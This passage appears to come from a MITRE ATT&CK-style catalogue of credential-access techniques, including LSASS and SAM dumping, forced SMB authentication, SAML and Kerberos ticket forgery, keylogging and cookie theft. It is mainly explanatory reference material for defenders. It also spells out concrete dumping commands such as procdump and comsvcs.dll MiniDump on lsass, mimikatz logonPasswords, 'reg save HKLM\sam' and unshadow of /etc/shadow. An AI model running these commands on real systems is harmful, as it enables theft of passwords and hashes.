Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named `Policy.vpol`, typically located in the same folder as the credentials.

Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. `vaultcmd.exe` is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as `CredEnumerateA`, may also be absued to list credentials managed by the Credential Manager.

Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running `rundll32.exe keymgr.dll KRShowKeyMgr` then selecting the "Back up..." button on the "Stored User Names and Passwords" GUI.

Password recovery tools may also obtain plain text passwords from the Credential Manager.

.005 - Password Managers

Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.

Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access. Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.

T1212 - Exploitation for Credential Access

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

T1187 - Forced Authentication

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials.

There are several different ways this can occur. Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to `file[:]//[remote address]/Normal.dotm` to trigger the SMB request.
- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as `\\[remote address]\pic.png` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.

T1606 - Forge Web Credentials
Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.

Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.

.001 - Web Cookies
Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.

Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.

Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.

.002 - SAML Tokens
An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate. The default lifetime of a SAML token is one hour, but the validity period can be specified in the `NotOnOrAfter` value of the `conditions ...` element in a token. This value

can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy. Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.

An adversary may utilize Private Keys to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.

T1056 - Input Capture

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).

.001 - Keylogging

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:

- Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.
- Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.

.002 - GUI Input Capture

Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).

.003 - Web Portal Capture

Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.

.004 - Credential API Hooking

Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored.
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.

T1556 - Modify Authentication Process

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

.001 - Domain Controller Authentication

Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user's account and/or credentials (ex: Skeleton Key). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.

.002 - Password Filter DLL

Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.

.003 - Pluggable Authentication Modules

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is `pam_unix.so`, which retrieves, sets, and verifies account authentication information in `/etc/passwd` and `/etc/shadow`.

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as `pam_unix.so`, can be patched to accept arbitrary adversary supplied values as legitimate credentials.

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.

.004 - Network Device Authentication

Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

Modify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.

.005 - Reversible Encryption

An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The `AllowReversiblePasswordEncryption` property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

9. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters
10. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters
11. Global LSA secret (G$MSRADIUSCHAPKEY)
12. Static key hardcoded in the Remote Access Sub-authentication DLL (RASSFM.DLL)

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.[4] In PowerShell, an adversary may make associated changes to user settings using commands similar to `Set-ADUser -AllowReversiblePasswordEncryption $true`.

.006 - Multi-Factor Authentication

Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.

Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.

For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.

Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.

.007 - Hybrid Identity

Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.

Many organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD:

- Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud
- Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory
- Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD

AD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users' identity and privileges.

By modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.

In some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.

T1111 - Multi-Factor Authentication Interception

Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).

Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.

T1621 - Multi-Factor Authentication Request Generation

Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

Adversaries in possession credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.

In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to "MFA fatigue".

T1040 - Network Sniffing

Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.

T1003 - OS Credential Dumping

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

.001 - LSASS Memory

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.

For example, on the target host use procdump:

- `procdump -ma lsass.exe lsass_dump`

Locally, mimikatz can be run using:

- `sekurlsa::Minidump lsassdump.dmp`

- `sekurlsa::logonPasswords`

Built-in Windows tools such as comsvcs.dll can also be used:

- `rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full`

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` and `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.

The following SSPs can be used to access credentials:

- Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
- Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.
- Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
- CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.

.002 - Security Account Manager

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the `net user` command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

- pwdumpx.exe
- gsecdump
- Mimikatz
- secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg:

- `reg save HKLM\sam sam`
- `reg save HKLM\system system`

Creddump7 can then be used to process the SAM database locally to retrieve hashes.

Notes:

- RID 500 account is the local, built-in administrator.
- RID 501 is the guest account.
- User accounts start with a RID of 1,000+.

.003 – NTDS

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.

In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy

.004 - LSA Secrets

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.

Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.

.005 - Cached Domain Credentials

Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.

On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash. The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.

With SYSTEM access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py can be used to extract the cached credentials.

Note: Cached credentials for Windows Vista are derived using PBKDF2.

.006 – DCSync

Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API) to simulate the replication process from a remote domain controller using a technique called DCSync.

Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data[5] from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket or change an account's password as noted in Account Manipulation.

DCSync functionality has been included in the "lsadump" module in Mimikatz. Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.

.007 - Proc Filesystem

Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.

This functionality has been implemented in the MimiPenguin, an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.

.008 - /etc/passwd and /etc/shadow

Adversaries may attempt to dump the contents of `/etc/passwd` and `/etc/shadow` to enable offline password cracking. Most modern Linux operating systems use a combination of `/etc/passwd` and `/etc/shadow` to store user account information including password hashes in `/etc/shadow`. By default, `/etc/shadow` is only readable by the root user.

The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:

```
/usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db
```

T1528 - Steal Application Access Token

Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.

In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container’s token and thereby gain access to Kubernetes API commands.

Token theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token.

Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens[9], allowing them to obtain new access tokens without prompting the user.

T1649 - Steal or Forge Authentication Certificates

Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.

Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.

Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.

Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as "golden" certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.

T1558 - Steal or Forge Kerberos Tickets

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as "realms", there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

On Windows, the built-in `klist` utility can be used to list and analyze cached Kerberos tickets.

Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts. On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in `/var/lib/sss/secrets/secrets.ldb` as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for Pass the Ticket. The ccache file may also be converted into a Windows format using tools such as Kekeo.

Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.

.001 - Golden Ticket

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. Golden tickets enable adversaries to generate authentication material for any account in Active Directory.

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets. The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.

.002 - Silver Ticket

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.

Password hashes for target services may be obtained using OS Credential Dumping or Kerberoasting.

.003 – Kerberoasting

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.

This same behavior could be executed using service tickets captured from network traffic.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.

.004 - AS-REP Roasting
Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages.

Preauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user's password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user's password.

For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials.

An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.

T1539 - Steal Web Session Cookie
An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.

There are several examples of malware targeting cookies from web browsers on the local system. There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.

After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.

